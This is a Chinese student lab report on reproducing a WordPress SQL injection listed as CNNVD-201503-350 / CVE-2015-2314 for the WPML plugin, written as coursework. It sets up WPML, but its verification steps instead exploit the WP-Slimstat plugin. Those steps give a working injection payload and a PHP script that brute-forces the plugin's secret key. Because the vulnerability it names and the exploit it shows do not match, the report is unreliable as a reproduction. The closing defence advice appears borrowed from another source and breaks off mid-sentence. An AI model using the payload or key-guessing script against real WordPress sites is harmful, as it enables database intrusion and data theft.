漏洞CNNVD-201503-350分析与复原

HarbinInstituteofTechnologyatWeihai实验报告课程名称：防火墙与入侵检测院系：计算机科学与技术学院班级：1304202实验者：xxxxxxxx学号：xxxxxxxxxxx指导教师：xxxxxxx实验时间：2016年6月哈尔滨工业大学（威海）二零一六年六月1一、漏洞详情信息表漏洞名称：WordPressWPML插件SQL注入漏洞CNNVD编号：CNNVD-201503-350发布时间：2015-03-18更新时间：2015-03-18危害等级：高危漏洞类型：SQL注入威胁类型：远程CVE编号：CVE-2015-2314漏洞简介WordPress是WordPress软件基金会的一套使用PHP语言开发的博客平台，该平台支持在PHP和MySQL的服务器上架设个人博客网站。WPML是其中的一个多语言插件。WordPressWPML插件3.1.9之前版本中存在SQL注入漏洞，该漏洞源于comments/feedURI没有充分过滤wp-link-ajax操作中的HTTPReferer头。远程攻击者可借助‘lang’参数利用该漏洞执行任意SQL命令。2二、系统和软件环境配置详情信息表系统配置表：环境配置表：3三、漏洞还原详细步骤（需要包含每一步的截图）；(本次实验中，所有用到的密码均为12345678)1.环境配置：配置apache服务器+MySql+PHP+①在C:\360安全浏览器下载中找到已下载好的appserv-win32-8.3.0.exe打开②打开软件，进入安装界面，点击下一步③选择安装路径，可自行选择4④选择下面要安装的服务，全选⑤设置主机名以及邮箱，默认端口为80（安装完后可自行修改）5⑥设置数据库密码，一般都设置为root，不过可以自己随意设置，编码就选择UTF-8⑦点击下一步6⑧在浏览器中输入localhost或者127.0.0.1，若出现如下页面，则说明安装成功2.安装任意版本的WordPress①在C:\360安全浏览器下载中，找到已下载好的WordPress4.5.2版本解压7②将解压好的文件夹放在C:\AppServ\目录下，以便可以被apache识别③打开浏览器，输入网址：进入配置安装界面8④配置成功后，输入网址：进入登陆界面账号：@163.com9密码：12345678⑤登陆后进入主界面，此时已经成功安装3.安装WordPress多语言插件WPML①在C:\360安全浏览器下载中解压已经下载好的3.1.5版本的WPML插件②在浏览器中输入网址：打开插件配置界面10③点击“安装插件”将以下三个插件添加进去WPMLMultilingualCMS–WPML多语言CMS（核心插件，文件夹名称为sitepress-multilingual-cms）WPMLStringTranslation–WPML字符串翻译（Add-on插件）WPMLTranslationManagement–WPML翻译管理（Add-on插件）④添加好后返回插件主界面，点击启用以启用插件11⑤激活后，点击页面顶部的“Nothanks,Iwillconfiguremyself”按钮进入配置界面首先，选择网站默认语言，如果网站已经有内容，请选择当前内容所使用的语言，点击Next按钮继续。接下来，选择要支持的其它语言。例如，我要做中英文网站，所以勾选Chinese(Simplified)，点击Next按钮继续。最后一步是一些基本设置：Languageswitcherwidget–设置多语言切换按钮的样式以及显示位置，默认在sidebar中显示。Languageswitcherstyle的设置可以根据个人喜好来进行，我的设置偏好如下：至此，漏洞环境已经配置成功！12四、漏洞测试或验证详细步骤测试步骤：1.首先当你开启了WP-Slimstat插件之后，每当你访问一个网页，系统都会通过ajax向/wp-admin/admin-ajax.php发送post请求，记录你当前访问网页的情况。发送的数据如下图所示：其中data是一段base64编码过的数据，经过解码之后是1ci=YToyOntzOjEyOiJjb250ZW50X3R5cGUiO3M6NDoiaG9tZSI7czo4OiJjYXRlZ29yeSI7czowOiIiO30=.ae93e0c4e2f76695c4dd540456ab7945&ref=&res=aHR0cDovLzEwLjE4LjE4MC4zNy93b3JkcHJlc3Mv&sw=1920&sh=1080&cd=24&aa=1&sl=2004&pp=7267&pl=flash|2.直接到插件的文件中去看如何处理这段数据的在wp-content\plugins\wp-slimstatwp-slimstat.php文件的第86行我们可以看到，data经过base64解码之后传递给了$data_string。随后通过13parse_str方法将其赋给了$data_js3.把$data_js[ci]分成了两部分，“.”后面的赋给了$nonce，前面的覆盖了原来的$data_js[ci]在105行，将$data_js[ci]的后面添加了一个秘钥，md5加密后和$nonce做对比，如果不相等将直接退出程序。也就是说，对数据包是否被篡改进行了校验，如果被篡改将直接退出程序4.如果数据没有被篡改，在第374行5.将$data_js[ci]base64解码再反序列化之后赋给了$content_info，之后在417行6.$content_info进入了maybe_insert_row函数，跟进该函数，1036行14可以看到数据被带入到了查询中，在第1044行我们看到，程序还是严谨的使用了wordpress自带的数据库查询函数对获取的数据进行了预处理，但是百密终有一疏，$a_key这个变量没有在预处理的行列中，而这个变量也是我们可控的，这也是这个漏洞的罪魁祸首。那么问题来了：我们该如何绕过校验呢，让程序认为数据没有被篡改过呢？7.从上面我们知道只有$nonce和md5(self::$data_js['ci'].self::$options['secret'])相等时才可以继续执行程序，现在我们可以控制的是$nonce和$data_js['ci']，只要再知道$options['secret']即可。我们看下$options['secret']是什么在1095行我们可以看到他是简单的系统当前时间被md5加密过后的值，time()函数返回的是Unix时间戳，是一个10位的纯数字，而且根据推测网站的建立时间，我们可以大大缩小猜测的范围，根据测试，大约3000万次即可猜出系统的secret秘钥，一旦我们猜出了秘钥，我们便可以篡改数据包，进行注入。验证步骤:1.拥有了秘钥之后我们开始注入，由于注入出在数组的键值上，所以我们在category后面添加一个单引号。构造的payload如下：1a:2:{s:12:content_type;s:4:home;s:9:category';s:0:;}15将其base64编码然后加上秘钥md5加密，获得了13688da6b1bad69d677948ebed0fa19a的加密值，把他加入请求，对请求base64再次编码后得到了我们最终的payload：Y2k9WVRveU9udHpPakV5T2lKamIyNTBaVzUwWDNSNWNHVWlPM002TkRvaWFHOXRaU0k3Y3pvNU9pSmpZWFJsWjI5eWVTY2lPM002TURvaUlqdDkuMTM2ODhkYTZiMWJhZDY5ZDY3Nzk0OGViZWQwZmExOWEmcmVmPSZyZXM9YUhSMGNEb3ZMekV3TGpFNExqRTRNQzR6Tnk5M2IzSmtjSEpsYzNNdiZzdz0xOTIwJnNoPTEwODAmY2Q9MjQmYWE9MSZzbD0yMDA0JnBwPTcyNjcmcGw9Zmxhc2h82.用burp发包3.从Mysql日志中可以看到单引号被带入了查询附：猜解秘钥程序：?php$ci=YToyOntzOjEyOiJjb250ZW50X3R5cGUiO3M6NDoiaG9tZSI7czo4OiJjYXRlZ29yeSI7czowOiIiO30=;$nonce=ae93e0c4e2f76695c4dd540456ab7945;for($secret=time();$secret1136044800;$secret--){if($nonce==md5($ci.md5($secret))){echofindthesecretis.md5($secret);16break;}}?17五、漏洞危害分析；1）广泛性SQL注入攻击利用的是SQL语法，因此只要是利用SQL语法的Web应用程序如果未对输入的SQL语句做严格的处理都会存在SQL注入漏洞，目前以Active/JavaServerPages、ColdFusionManagement、PHP、Perl等技术与SQLServer、Oracle、DB2、Sybase等数据库相结合的Web应用程序均发现存在SQL注入漏洞。2）技术难度不高SQL注入技术公布后，网络上先后出现了多款SQL注入工具，例如教主的HDSI、NBSI、明小子的Domain等，利用这些工具软件可以轻易地对存在SQL注入的网站或者Web应用程序实施攻击，并最终获取其计算器的控制权。3）危害性大SQL注入攻击成功后，轻者只是更改网站首页等数据，重者通过网络渗透等攻击技术，可以获取公司或者企业机密数据信息，产生重大经济损失。18六、个人感悟。SQL注入攻击是你需要担心的事情，不管你用什么web编程技术，再说所有的web框架都需要担心这个的。你需要遵循几条非常基本的规则：1)在构造动态SQL语句时，一定要使用类安全(type-safe)的参数加码机制。大多数的数据API，包括ADO和ADO.NET，有这样的支持，允许你指定所提供的参数的确切类型(譬如，字符串，整数，日期等)，可以保证这些参数被恰当地escaped/encoded了，来避免黑客利用它们。一定要从始到终地使用这些特性。例如，在ADO.NET里对动态SQL，你可以象下面这样重写上述的语句，使之安全：DimSSNasString=Request.QueryString(SSN)DimcmdAsnewSqlCommand(SELECTau_lname,au_fnameFROMauthorsWHEREau_id=@au_id)Dimparam=newSqlParameter(au_id,SqlDbType.VarChar)param.Value=SSNcmd.Parameters.Add(param)这将防止有人试图偷偷注入另外的SQL表达式(因为ADO.NET知道对au_id的字符串值进行加码)，以及避免其他数据问题(譬如不正确地转换数值类型等)。注意，VS2005内置的TableAdapter/DataSet设计器自动使用这个机制，ASP.NET2.0数据源控件也是如此。一个常见的错误知觉(misperception)是，假如你使用了存储过程或ORM，你就完全不受SQL注入攻击之害了。这是不正确的，你还是需要确定在给存储过程传递数据时你很谨慎，或在用ORM来定制一个查询时，你的做法是安全的。2)在部署你的应用前，始终要做安全审评(securityreview)。建立一个正式的安全过程(formalsecurityprocess)，在每次你做更新时，对所有的编码做审评。后面一点特别重要。很多次我听说开发队